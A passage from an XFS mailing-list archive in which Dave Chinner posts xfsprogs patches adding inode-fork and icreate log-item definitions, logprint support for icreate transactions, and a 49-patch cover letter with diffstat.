General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_INODE_FORK_H__ +#define __XFS_INODE_FORK_H__ + +struct xfs_inode_log_item; + +/* + * The following xfs_ext_irec_t struct introduces a second (top) level + * to the in-core extent allocation scheme. These structs are allocated + * in a contiguous block, creating an indirection array where each entry + * (irec) contains a pointer to a buffer of in-core extent records which + * it manages. Each extent buffer is 4k in size, since 4k is the system + * page size on Linux i386 and systems with larger page sizes don't seem + * to gain much, if anything, by using their native page size as the + * extent buffer size. Also, using 4k extent buffers everywhere provides + * a consistent interface for CXFS across different platforms. + * + * There is currently no limit on the number of irec's (extent lists) + * allowed, so heavily fragmented files may require an indirection array + * which spans multiple system pages of memory. The number of extents + * which would require this amount of contiguous memory is very large + * and should not cause problems in the foreseeable future. However, + * if the memory needed for the contiguous array ever becomes a problem, + * it is possible that a third level of indirection may be required. + */ +typedef struct xfs_ext_irec { + xfs_bmbt_rec_host_t *er_extbuf; /* block of extent records */ + xfs_extnum_t er_extoff; /* extent offset in file */ + xfs_extnum_t er_extcount; /* number of extents in page/block */ +} xfs_ext_irec_t; + +/* + * File incore extent information, present for each of data & attr forks. + */ +#define XFS_IEXT_BUFSZ 4096 +#define XFS_LINEAR_EXTS (XFS_IEXT_BUFSZ / (uint)sizeof(xfs_bmbt_rec_t)) +#define XFS_INLINE_EXTS 2 +#define XFS_INLINE_DATA 32 +typedef struct xfs_ifork { + int if_bytes; /* bytes in if_u1 */ + int if_real_bytes; /* bytes allocated in if_u1 */ + struct xfs_btree_block *if_broot; /* file's incore btree root */ + short if_broot_bytes; /* bytes allocated for root */ + unsigned char if_flags; /* per-fork flags */ + union { + xfs_bmbt_rec_host_t *if_extents;/* linear map file exts */ + xfs_ext_irec_t *if_ext_irec; /* irec map file exts */ + char *if_data; /* inline file data */ + } if_u1; + union { + xfs_bmbt_rec_host_t if_inline_ext[XFS_INLINE_EXTS]; + /* very small file extents */ + char if_inline_data[XFS_INLINE_DATA]; + /* very small file data */ + xfs_dev_t if_rdev; /* dev number if special */ + uuid_t if_uuid; /* mount point value */ + } if_u2; +} xfs_ifork_t; + +/* + * Per-fork incore inode flags. + */ +#define XFS_IFINLINE 0x01 /* Inline data is read in */ +#define XFS_IFEXTENTS 0x02 /* All extent pointers are read in */ +#define XFS_IFBROOT 0x04 /* i_broot points to the bmap b-tree root */ +#define XFS_IFEXTIREC 0x08 /* Indirection array of extent blocks */ + +/* + * Fork handling. + */ + +#define XFS_IFORK_Q(ip) ((ip)->i_d.di_forkoff != 0) +#define XFS_IFORK_BOFF(ip) ((int)((ip)->i_d.di_forkoff << 3)) + +#define XFS_IFORK_PTR(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + &(ip)->i_df : \ + (ip)->i_afp) +#define XFS_IFORK_DSIZE(ip) \ + (XFS_IFORK_Q(ip) ? \ + XFS_IFORK_BOFF(ip) : \ + XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version)) +#define XFS_IFORK_ASIZE(ip) \ + (XFS_IFORK_Q(ip) ? \ + XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version) - \ + XFS_IFORK_BOFF(ip) : \ + 0) +#define XFS_IFORK_SIZE(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + XFS_IFORK_DSIZE(ip) : \ + XFS_IFORK_ASIZE(ip)) +#define XFS_IFORK_FORMAT(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + (ip)->i_d.di_format : \ + (ip)->i_d.di_aformat) +#define XFS_IFORK_FMT_SET(ip,w,n) \ + ((w) == XFS_DATA_FORK ? \ + ((ip)->i_d.di_format = (n)) : \ + ((ip)->i_d.di_aformat = (n))) +#define XFS_IFORK_NEXTENTS(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + (ip)->i_d.di_nextents : \ + (ip)->i_d.di_anextents) +#define XFS_IFORK_NEXT_SET(ip,w,n) \ + ((w) == XFS_DATA_FORK ? \ + ((ip)->i_d.di_nextents = (n)) : \ + ((ip)->i_d.di_anextents = (n))) +#define XFS_IFORK_MAXEXT(ip, w) \ + (XFS_IFORK_SIZE(ip, w) / sizeof(xfs_bmbt_rec_t)) + +int xfs_iformat_fork(struct xfs_inode *, struct xfs_dinode *); +void xfs_iflush_fork(struct xfs_inode *, struct xfs_dinode *, + struct xfs_inode_log_item *, int, + struct xfs_buf *); +void xfs_idestroy_fork(struct xfs_inode *, int); +void xfs_idata_realloc(struct xfs_inode *, int, int); +void xfs_iroot_realloc(struct xfs_inode *, int, int); +int xfs_iread_extents(struct xfs_trans *, struct xfs_inode *, int); +int xfs_iextents_copy(struct xfs_inode *, struct xfs_bmbt_rec *, + int); + +struct xfs_bmbt_rec_host * + xfs_iext_get_ext(struct xfs_ifork *, xfs_extnum_t); +void xfs_iext_insert(struct xfs_inode *, xfs_extnum_t, xfs_extnum_t, + struct xfs_bmbt_irec *, int); +void xfs_iext_add(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_add_indirect_multi(struct xfs_ifork *, int, + xfs_extnum_t, int); +void xfs_iext_remove(struct xfs_inode *, xfs_extnum_t, int, int); +void xfs_iext_remove_inline(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_remove_direct(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_remove_indirect(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_realloc_direct(struct xfs_ifork *, int); +void xfs_iext_direct_to_inline(struct xfs_ifork *, xfs_extnum_t); +void xfs_iext_inline_to_direct(struct xfs_ifork *, int); +void xfs_iext_destroy(struct xfs_ifork *); +struct xfs_bmbt_rec_host * + xfs_iext_bno_to_ext(struct xfs_ifork *, xfs_fileoff_t, int *); +struct xfs_ext_irec * + xfs_iext_bno_to_irec(struct xfs_ifork *, xfs_fileoff_t, int *); +struct xfs_ext_irec * + xfs_iext_idx_to_irec(struct xfs_ifork *, xfs_extnum_t *, int *, + int); +void xfs_iext_irec_init(struct xfs_ifork *); +struct xfs_ext_irec * + xfs_iext_irec_new(struct xfs_ifork *, int); +void xfs_iext_irec_remove(struct xfs_ifork *, int); +void xfs_iext_irec_compact(struct xfs_ifork *); +void xfs_iext_irec_compact_pages(struct xfs_ifork *); +void xfs_iext_irec_compact_full(struct xfs_ifork *); +void xfs_iext_irec_update_extoffs(struct xfs_ifork *, int, int); + +extern struct kmem_zone *xfs_ifork_zone; + +#endif /* __XFS_INODE_FORK_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E91EF7FC0 for ; Fri, 19 Jul 2013 01:45:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68E8AAC001 for ; Thu, 18 Jul 2013 23:45:32 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id a8bOZRN6R2BsJHP3 for ; Thu, 18 Jul 2013 23:45:30 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I6-Km for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002JH-Jo for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/49] xfsprogs: teach logprint about icreate transaction Date: Fri, 19 Jul 2013 16:44:38 +1000 X-ASG-Orig-Subj: [PATCH 03/49] xfsprogs: teach logprint about icreate transaction Message-Id: <1374216324-8781-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216330 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/libxlog.h | 1 + logprint/log_misc.c | 36 ++++++++++++++++++++++++++++++++++++ logprint/log_print_all.c | 21 +++++++++++++++++++++ 3 files changed, 58 insertions(+) diff --git a/include/libxlog.h b/include/libxlog.h index bd71bfe..ff711e9 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -51,6 +51,7 @@ struct xlog { #include #include #include +#include typedef union { xlog_rec_header_t hic_header; diff --git a/logprint/log_misc.c b/logprint/log_misc.c index 7012208..9526ec4 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -70,6 +70,7 @@ char *trans_type[] = { "SWAPEXT", "SB_COUNT", "CHECKPOINT", + "ICREATE", }; typedef struct xlog_split_item { @@ -792,6 +793,35 @@ xlog_print_trans_dquot(xfs_caddr_t *ptr, int len, int *i, int num_ops) } /* xlog_print_trans_dquot */ +STATIC int +xlog_print_trans_icreate( + xfs_caddr_t *ptr, + int len, + int *i, + int num_ops) +{ + struct xfs_icreate_log icl_buf = {0}; + struct xfs_icreate_log *icl; + + memmove(&icl_buf, *ptr, MIN(sizeof(struct xfs_icreate_log), len)); + icl = &icl_buf; + (*i)++; + *ptr += len; + + /* handle complete header only */ + if (len != sizeof(struct xfs_icreate_log)) { + printf(_("ICR: split header, not printing\n")); + return 1; /* to skip leftover in next region */ + } + + printf(_("ICR: #ag: %d agbno: 0x%x len: %d\n" + " cnt: %d isize: %d gen: 0x%x\n"), + be32_to_cpu(icl->icl_ag), be32_to_cpu(icl->icl_agbno), + be32_to_cpu(icl->icl_length), be32_to_cpu(icl->icl_count), + be32_to_cpu(icl->icl_isize), be32_to_cpu(icl->icl_gen)); + return 0; +} + /****************************************************************************** * * Log print routines @@ -974,6 +1004,12 @@ xlog_print_record(int fd, &i, num_ops); break; } + case XFS_LI_ICREATE: { + skip = xlog_print_trans_icreate(&ptr, + be32_to_cpu(op_head->oh_len), + &i, num_ops); + break; + } case XFS_LI_INODE: { skip = xlog_print_trans_inode(&ptr, be32_to_cpu(op_head->oh_len), diff --git a/logprint/log_print_all.c b/logprint/log_print_all.c index 4626186..7f87016 100644 --- a/logprint/log_print_all.c +++ b/logprint/log_print_all.c @@ -435,6 +435,21 @@ xlog_recover_print_efi( free(f); } +STATIC void +xlog_recover_print_icreate( + struct xlog_recover_item *item) +{ + struct xfs_icreate_log *icl; + + icl = (struct xfs_icreate_log *)item->ri_buf[0].i_addr; + + printf(_(" ICR: #ag: %d agbno: 0x%x len: %d\n" + " cnt: %d isize: %d gen: 0x%x\n"), + be32_to_cpu(icl->icl_ag), be32_to_cpu(icl->icl_agbno), + be32_to_cpu(icl->icl_length), be32_to_cpu(icl->icl_count), + be32_to_cpu(icl->icl_isize), be32_to_cpu(icl->icl_gen)); +} + void xlog_recover_print_logitem( xlog_recover_item_t *item) @@ -443,6 +458,9 @@ xlog_recover_print_logitem( case XFS_LI_BUF: xlog_recover_print_buffer(item); break; + case XFS_LI_ICREATE: + xlog_recover_print_icreate(item); + break; case XFS_LI_INODE: xlog_recover_print_inode(item); break; @@ -474,6 +492,9 @@ xlog_recover_print_item( case XFS_LI_BUF: printf("BUF"); break; + case XFS_LI_ICREATE: + printf("ICR"); + break; case XFS_LI_INODE: printf("INO"); break; -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BB6877FC0 for ; Fri, 19 Jul 2013 01:45:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D7928F8035 for ; Thu, 18 Jul 2013 23:45:33 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id E39ZhlQmTW8aQDqt for ; Thu, 18 Jul 2013 23:45:31 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKFIAOUBo15hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I4-JD for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002J7-IH for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/49] xfsprogs: introduce xfs_icreate.h Date: Fri, 19 Jul 2013 16:44:36 +1000 X-ASG-Orig-Subj: [PATCH 01/49] xfsprogs: introduce xfs_icreate.h Message-Id: <1374216324-8781-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216331 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Bring the new inode create item definitions across from kernel space for xfs_logprint to be able to parse. Signed-off-by: Dave Chinner --- include/Makefile | 2 +- include/xfs_icreate_item.h | 52 ++++++++++++++++++++++++++++++++++++++++++++++ include/xfs_log.h | 3 ++- include/xfs_trans.h | 7 +++++-- 4 files changed, 60 insertions(+), 4 deletions(-) create mode 100644 include/xfs_icreate_item.h diff --git a/include/Makefile b/include/Makefile index 92161bd..ba2c80d 100644 --- a/include/Makefile +++ b/include/Makefile @@ -26,7 +26,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_btree_trace.h xfs_buf_item.h xfs_cksum.h xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ - xfs_inode.h xfs_inode_item.h xfs_inum.h \ + xfs_icreate_item.h xfs_inode.h xfs_inode_item.h xfs_inum.h \ xfs_log.h xfs_log_priv.h xfs_log_recover.h xfs_metadump.h \ xfs_mount.h xfs_quota.h xfs_rtalloc.h xfs_sb.h xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h diff --git a/include/xfs_icreate_item.h b/include/xfs_icreate_item.h new file mode 100644 index 0000000..88ba8aa --- /dev/null +++ b/include/xfs_icreate_item.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 2008-2010, Dave Chinner + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef XFS_ICREATE_ITEM_H +#define XFS_ICREATE_ITEM_H 1 + +/* + * on disk log item structure + * + * Log recovery assumes the first two entries are the type and size and they fit + * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so + * decoding can be done correctly. + */ +struct xfs_icreate_log { + __uint16_t icl_type; /* type of log format structure */ + __uint16_t icl_size; /* size of log format structure */ + __be32 icl_ag; /* ag being allocated in */ + __be32 icl_agbno; /* start block of inode range */ + __be32 icl_count; /* number of inodes to initialise */ + __be32 icl_isize; /* size of inodes */ + __be32 icl_length; /* length of extent to initialise */ + __be32 icl_gen; /* inode generation number to use */ +}; + +/* in memory log item structure */ +struct xfs_icreate_item { + struct xfs_log_item ic_item; + struct xfs_icreate_log ic_format; +}; + +extern kmem_zone_t *xfs_icreate_zone; /* inode create item zone */ + +void xfs_icreate_log(struct xfs_trans *tp, xfs_agnumber_t agno, + xfs_agblock_t agbno, unsigned int count, + unsigned int inode_size, xfs_agblock_t length, + unsigned int generation); + +#endif /* XFS_ICREATE_ITEM_H */ diff --git a/include/xfs_log.h b/include/xfs_log.h index 5caee96..70cc014 100644 --- a/include/xfs_log.h +++ b/include/xfs_log.h @@ -88,7 +88,8 @@ static inline xfs_lsn_t _lsn_cmp(xfs_lsn_t lsn1, xfs_lsn_t lsn2) #define XLOG_REG_TYPE_UNMOUNT 17 #define XLOG_REG_TYPE_COMMIT 18 #define XLOG_REG_TYPE_TRANSHDR 19 -#define XLOG_REG_TYPE_MAX 19 +#define XLOG_REG_TYPE_ICREATE 20 +#define XLOG_REG_TYPE_MAX 20 typedef struct xfs_log_iovec { void *i_addr; /* beginning address of region */ diff --git a/include/xfs_trans.h b/include/xfs_trans.h index acf1381..36a0026 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -48,6 +48,7 @@ typedef struct xfs_trans_header { #define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ #define XFS_LI_DQUOT 0x123d #define XFS_LI_QUOTAOFF 0x123e +#define XFS_LI_ICREATE 0x123f #define XFS_LI_TYPE_DESC \ { XFS_LI_EFI, "XFS_LI_EFI" }, \ @@ -56,7 +57,8 @@ typedef struct xfs_trans_header { { XFS_LI_INODE, "XFS_LI_INODE" }, \ { XFS_LI_BUF, "XFS_LI_BUF" }, \ { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ - { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" } + { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ + { XFS_LI_ICREATE, "XFS_LI_ICREATE" } /* * Transaction types. Used to distinguish types of buffers. @@ -107,7 +109,8 @@ typedef struct xfs_trans_header { #define XFS_TRANS_SWAPEXT 40 #define XFS_TRANS_SB_COUNT 41 #define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_TYPE_MAX 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 /* new transaction types need to be reflected in xfs_logprint(8) */ #define XFS_TRANS_TYPES \ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 997C78014 for ; Fri, 19 Jul 2013 01:45:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F19E5AC001 for ; Thu, 18 Jul 2013 23:45:33 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id sPXm3TmfMmG38MgG for ; Thu, 18 Jul 2013 23:45:31 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApQcAMLf6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEgRUXdIMBO4ECA4hDDZVSoESNPIE2hSADqSqDJCqBLiQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I3-Ib for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002J4-HQ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/49] xfsprogs: patches for crc-dev branch Date: Fri, 19 Jul 2013 16:44:35 +1000 X-ASG-Orig-Subj: [PATCH 00/49] xfsprogs: patches for crc-dev branch Message-Id: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216331 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This series is the matching patch series to my for-3.12 kernel series posted here: http://oss.sgi.com/pipermail/xfs/2013-July/028207.html The first 3 patches add icreate transaction support to xfs_logprint. The next 37 patches update the libxfs code to match the kernel code in the above patch set - many of the transformations are identical, and they bring the code bases mostly into synchronisation. The next 6 patches introduce jeff Liu's transaciton reservation patchset and integrate it into mkfs to ensure that mkfs.xfs doesn't create logs that are too small. This version has the "default log size larger than the AG size so mkfs fails" problems fixed, so all the xfstests regressions it caused are gone. THe last 3 patches introduce dirent filetype support into libxfs, mkfs and xfs_db. xfs_repair can handle the new dirent structures just fine, but it doesn't yet have code to validate that the filetype in the dirent matches the inode it points to. Anyway, this applies to a current crc-dev branch, and should compile cleanly without warnings. If you do get warnings, let me know, because I'm getting ready to a -Werror to the build so that it breaks whenever someone introduces a compile time warning.... Comments, thoughts, flames? Cheers, Dave. $ git diff --stat -C -M --summary --minimal cdc4cb9.. copy/xfs_copy.c | 12 +- db/bmroot.c | 6 +- db/check.c | 12 +- db/dir2.c | 51 +- db/dir2.h | 1 + db/dir2sf.c | 61 ++- db/dir2sf.h | 3 + db/field.c | 7 + db/field.h | 3 + db/inode.c | 23 +- db/metadump.c | 10 +- fsr/xfs_fsr.c | 1 - include/Makefile | 24 +- include/libxfs.h | 98 +++- include/libxlog.h | 13 - include/platform_defs.h.in | 5 + include/swab.h | 6 +- include/xfs_ag.h | 55 +- include/xfs_alloc_btree.h | 3 +- include/xfs_attr_leaf.h | 1 + include/xfs_attr_remote.h | 28 +- include/xfs_bmap.h | 54 +- include/xfs_bmap_btree.h | 5 +- include/xfs_btree.h | 3 +- include/xfs_buf_item.h | 172 ------ include/xfs_da_btree.h | 1 + include/xfs_dfrag.h | 53 -- include/xfs_dinode.h | 3 - include/xfs_dir2.h | 20 +- include/xfs_dir2_format.h | 208 +++++-- include/xfs_extfree_item.h | 161 ------ include/xfs_format.h | 169 ++++++ include/xfs_fs.h | 41 +- include/xfs_ialloc.h | 8 + include/xfs_ialloc_btree.h | 3 +- include/xfs_inode.h | 631 ---------------------- include/xfs_inode_buf.h | 52 ++ include/xfs_inode_fork.h | 171 ++++++ include/xfs_inode_item.h | 170 ------ include/xfs_log.h | 189 ------- include/xfs_log_format.h | 773 +++++++++++++++++++++++++++ include/xfs_log_priv.h | 692 ------------------------ include/xfs_mount.h | 403 -------------- include/xfs_quota.h | 393 -------------- include/xfs_quota_defs.h | 157 ++++++ include/xfs_rtalloc.h | 166 ------ include/xfs_sb.h | 58 +- include/xfs_symlink.h | 45 -- include/xfs_trace.h | 1 + include/xfs_trans.h | 224 +------- include/xfs_trans_resv.h | 116 ++++ include/xfs_types.h | 59 +- io/init.h | 3 - libxfs/Makefile | 34 +- libxfs/init.c | 5 +- libxfs/rdwr.c | 3 - libxfs/trans.c | 130 ++++- libxfs/util.c | 122 ++++- libxfs/xfs.h | 62 ++- libxfs/xfs_alloc.c | 37 +- libxfs/xfs_alloc_btree.c | 23 +- libxfs/xfs_attr.c | 39 +- libxfs/xfs_attr_leaf.c | 9 +- libxfs/xfs_attr_remote.c | 8 +- libxfs/xfs_bmap.c | 438 ++++----------- libxfs/xfs_bmap_btree.c | 14 +- libxfs/xfs_btree.c | 10 + libxfs/xfs_da_btree.c | 69 +-- libxfs/xfs_dir2.c | 50 +- libxfs/xfs_dir2_block.c | 44 +- libxfs/xfs_dir2_data.c | 39 +- libxfs/xfs_dir2_leaf.c | 17 +- libxfs/xfs_dir2_node.c | 43 +- libxfs/xfs_dir2_priv.h | 44 +- libxfs/xfs_dir2_sf.c | 141 +++-- libxfs/xfs_ialloc.c | 271 ++++++++-- libxfs/xfs_ialloc_btree.c | 16 +- libxfs/xfs_inode_buf.c | 408 ++++++++++++++ libxfs/{xfs_inode.c => xfs_inode_fork.c} | 425 +-------------- libxfs/xfs_log_rlimit.c | 135 +++++ libxfs/xfs_rtalloc.c | 6 +- libxfs/{xfs_mount.c => xfs_sb.c} | 118 +++- libxfs/{xfs_symlink.c => xfs_symlink_remote.c} | 52 +- libxfs/{xfs_trans.c => xfs_trans_resv.c} | 379 +++++++------ libxlog/xfs_log_recover.c | 3 + logprint/log_misc.c | 94 +++- logprint/log_print_all.c | 21 + mkfs/maxtrres.c | 58 +- mkfs/proto.c | 24 +- mkfs/xfs_mkfs.c | 107 ++-- mkfs/xfs_mkfs.h | 4 +- repair/attr_repair.c | 2 + repair/dir2.c | 37 +- repair/dir2.h | 1 + repair/incore_ino.c | 2 + repair/phase5.c | 3 +- repair/phase6.c | 111 ++-- repair/phase7.c | 7 +- repair/scan.c | 1 + 99 files changed, 4251 insertions(+), 5042 deletions(-) delete mode 100644 include/xfs_buf_item.h delete mode 100644 include/xfs_dfrag.h delete mode 100644 include/xfs_extfree_item.h create mode 100644 include/xfs_format.h delete mode 100644 include/xfs_inode.h create mode 100644 include/xfs_inode_buf.h create mode 100644 include/xfs_inode_fork.h delete mode 100644 include/xfs_inode_item.h delete mode 100644 include/xfs_log.h create mode 100644 include/xfs_log_format.h delete mode 100644 include/xfs_log_priv.h delete mode 100644 include/xfs_mount.h delete mode 100644 include/xfs_quota.h create mode 100644 include/xfs_quota_defs.h delete mode 100644 include/xfs_rtalloc.h delete mode 100644 include/xfs_symlink.h create mode 100644 include/xfs_trans_resv.h create mode 100644 libxfs/xfs_inode_buf.c rename libxfs/{xfs_inode.c => xfs_inode_fork.c} (82%) create mode 100644 libxfs/xfs_log_rlimit.c rename libxfs/{xfs_mount.c => xfs_sb.c} (87%) rename libxfs/{xfs_symlink.c => xfs_symlink_remote.c} (68%) rename libxfs/{xfs_trans.c => xfs_trans_resv.c} (67%) From dave@fromorbit.com Fri Jul 19 01:45:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 